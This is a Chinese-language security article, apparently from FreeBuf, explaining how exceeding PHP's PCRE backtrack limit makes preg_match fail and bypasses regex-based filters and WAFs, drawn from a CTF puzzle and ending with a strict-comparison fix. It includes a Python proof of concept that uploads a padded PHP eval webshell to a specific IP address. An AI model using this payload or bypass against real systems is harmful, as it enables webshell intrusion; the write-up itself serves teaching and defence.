PHP利用PCRE回溯次數限制繞過某些安全限制
*本文原創作者： ION/use-pcre-backtrack-limit-to-bypass-restrict.html" target="_blank" ref="" rel="nofollow,noindex">phith0n ，本文屬FreeBuf原創獎勵計劃，未經許可禁止轉載
這次 Code-Breaking Puzzles 中我出了一道看似很簡單的題目pcrewaf，將其程式碼簡化如下：
<?php
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
if(!is_php($input)) {
// fwrite($f, $input); ...
}
大意是判斷一下使用者輸入的內容有沒有 PHP 程式碼，如果沒有，則寫入檔案。這種時候，如何繞過 is_php() 函式來寫入 webshell 呢？
這道題看似簡單，深究其原理，還是值得寫一篇文章的。
0×01 正則表示式是什麼
正則表示式是一個可以被「有限狀態自動機」接受的語言類。
「有限狀態自動機」，其擁有有限數量的狀態，每個狀態可以遷移到零個或多個狀態，輸入字串決定執行哪個狀態的遷移。
而常見的正則引擎，又被細分為 DFA（確定性有限狀態自動機）與 NFA（非確定性有限狀態自動機）。他們匹配輸入的過程分別是：
DFA: 從起始狀態開始，一個字元一個字元地讀取輸入串，並根據正則來一步步確定至下一個轉移狀態，直到匹配不上或走完整個輸入 NFA：從起始狀態開始，一個字元一個字元地讀取輸入串，並與正則表示式進行匹配，如果匹配不上，則進行回溯，嘗試其他狀態
由於 NFA 的執行過程存在回溯，所以其效能會劣於 DFA，但它支援更多功能。大多數程式語言都使用了 NFA 作為正則引擎，其中也包括 PHP 使用的 PCRE 庫。
0×02 回溯的過程是怎樣的
所以，我們題目中的正則 <\?.*[(`;?>].*，假設匹配的輸入是 <?php phpinfo();//aaaaa，實際執行流程是這樣的：
見上圖，可見第 4 步的時候，因為第一個 .* 可以匹配任何字元，所以最終匹配到了輸入串的結尾，也就是 //aaaaa。但此時顯然是不對的，因為正則顯示.*後面還應該有一個字元 [(`;?>]。
所以 NFA 就開始回溯，先吐出一個 a，輸入變成第 5 步顯示的 //aaaa，但仍然匹配不上正則，繼續吐出 a，變成 //aaa，仍然匹配不上……
最終直到吐出;，輸入變成第 12 步顯示的 <?php phpinfo()，此時 ，.* 匹配的是 php phpinfo()，而後面的 ; 則匹配上 [(`;?>] ，這個結果滿足正則表示式的要求，於是不再回溯。13 步開始向後匹配;，14 步匹配.*，第二個.*匹配到了字串末尾，最後結束匹配。
在除錯正則表示式的時候，我們可以檢視當前回溯的次數：
這裡回溯了 8 次。
0×03 PHP 的 pcre.backtrack_limit 限制利用
PHP 為了防止正則表示式的拒絕服務攻擊（reDOS），給 pcre 設定了一個回溯次數上限 pcre.backtrack_limit。我們可以通過 var_dump(ini_get(‘pcre.backtrack_limit’));的方式檢視當前環境下的上限：
這裡有個有趣的事情，就是 PHP 文件中，中英文版本的數值是不一樣的：
我們應該以英文版為參考。
可見，回溯次數上限預設是 100 萬。那麼，假設我們的回溯次數超過了 100 萬，會出現什麼現象呢？比如：
可見，preg_match 返回的非 1 和 0，而是 false。
preg_match 函式返回 false 表示此次執行失敗了，我們可以呼叫 var_dump(preg_last_error() === PREG_BACKTRACK_LIMIT_ERROR);，發現失敗的原因的確是回溯次數超出了限制：
所以，這道題的答案就呼之欲出了。我們通過傳送超長字串的方式，使正則執行失敗，最後繞過目標對 PHP 語言的限制。
對應的 POC 如下：
import requests
from io import BytesIO
files = {
'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}
res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)
0×04 PCRE 另一種錯誤的用法
延伸一下，很多基於 PHP 的 WAF，如：
<?php
if(preg_match('/SELECT.+FROM.+/is', $input)) {
die('SQL Injection');
}
均存在上述問題，通過大量回溯可以進行繞過。
另外，我遇到更常見的一種 WAF 是：
<?php
if(preg_match('/UNION.+?SELECT/is', $input)) {
die('SQL Injection');
}
這裡涉及到了正則表示式的「非貪婪模式」。在 NFA 中，如果我輸入 UNION/*aaaaa*/SELECT，這個正則表示式執行流程如下：
.+? 匹配到/
因為非貪婪模式，所以.+? 停止匹配，而由 S 匹配*
S 匹配*失敗，回溯，再由.+? 匹配*
因為非貪婪模式，所以.+? 停止匹配，而由 S 匹配 a
S 匹配 a 失敗，回溯，再由.+? 匹配 a
…
回溯次數隨著 a 的數量增加而增加。所以，我們仍然可以通過傳送大量 a，來使回溯次數超出 pcre.backtrack_limit 限制，進而繞過 WAF：
0×05 修復方法
那麼，如何修復這個問題呢？
其實如果我們仔細觀察 PHP 文件，是可以看到 preg_match 函式下面的警告的：
如果用 preg_match 對字串進行匹配，一定要使用===全等號來判斷返回值，如：
<?php
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
if(is_php($input) === 0) {
// fwrite($f, $input); ...
}
這樣，即使正則執行失敗返回 false，也不會進入 if 語句。
*本文原創作者： phith0n ，本文屬FreeBuf原創獎勵計劃，未經許可禁止轉載